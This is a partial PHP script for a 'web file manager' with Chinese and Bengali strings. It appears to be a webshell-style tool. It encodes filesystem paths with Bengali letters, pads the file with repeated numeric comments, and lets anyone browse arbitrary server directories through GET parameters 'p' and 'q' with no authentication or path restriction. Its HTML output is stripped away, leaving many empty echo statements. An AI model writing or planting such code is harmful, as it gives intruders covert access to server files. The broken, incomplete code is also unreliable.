芝麻web文件管理V1.00
");
}
// ---- // 1732065337172020 1732065337611151 1732065337186523 1732065337204973
echo '
';// 1732065337172020 1732065337611151 1732065337186523 1732065337204973
function formatSizeUnits($bytes)
{
if ($bytes >= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
// 1732065337172020 1732065337611151 1732065337186523 1732065337204973
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
// 1732065337172020 1732065337611151 1732065337186523 1732065337204973
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return '
';
} elseif ($file == ".htaccess") {
return '
';
}
if ($ext == "html" || $ext == "htm") {
return '
';
} elseif ($ext == "php" || $ext == "phtml") {
return '
';
} elseif (in_array($ext, $imgs)) {
return '
';
} elseif ($ext == "css") {
return '
';
} elseif ($ext == "txt") {
return '
';
} elseif (in_array($ext, $audio)) {
return '
';
} elseif ($ext == "py") {
return '
';
} elseif ($ext == "js") {
return '
';
} else {
return '
';
}
}
// 1732065337172020 1732065337611151 1732065337186523 1732065337204973
function encodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($a, $b, $path);
}// 1732065337172020 1732065337611151 1732065337186523 1732065337204973
function decodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($b, $a, $path);
}
// 1732065337172020 1732065337611151 1732065337186523 1732065337204973
$root_path = __DIR__;
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}// 1732065337172020 1732065337611151 1732065337186523 1732065337204973
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
echo ("");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = $root_path;
}
define("PATH", $p);
// 1732065337172020 1732065337611151 1732065337186523 1732065337204973
echo ('
');
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}// 1732065337172020 1732065337611151 1732065337186523 1732065337204973
echo '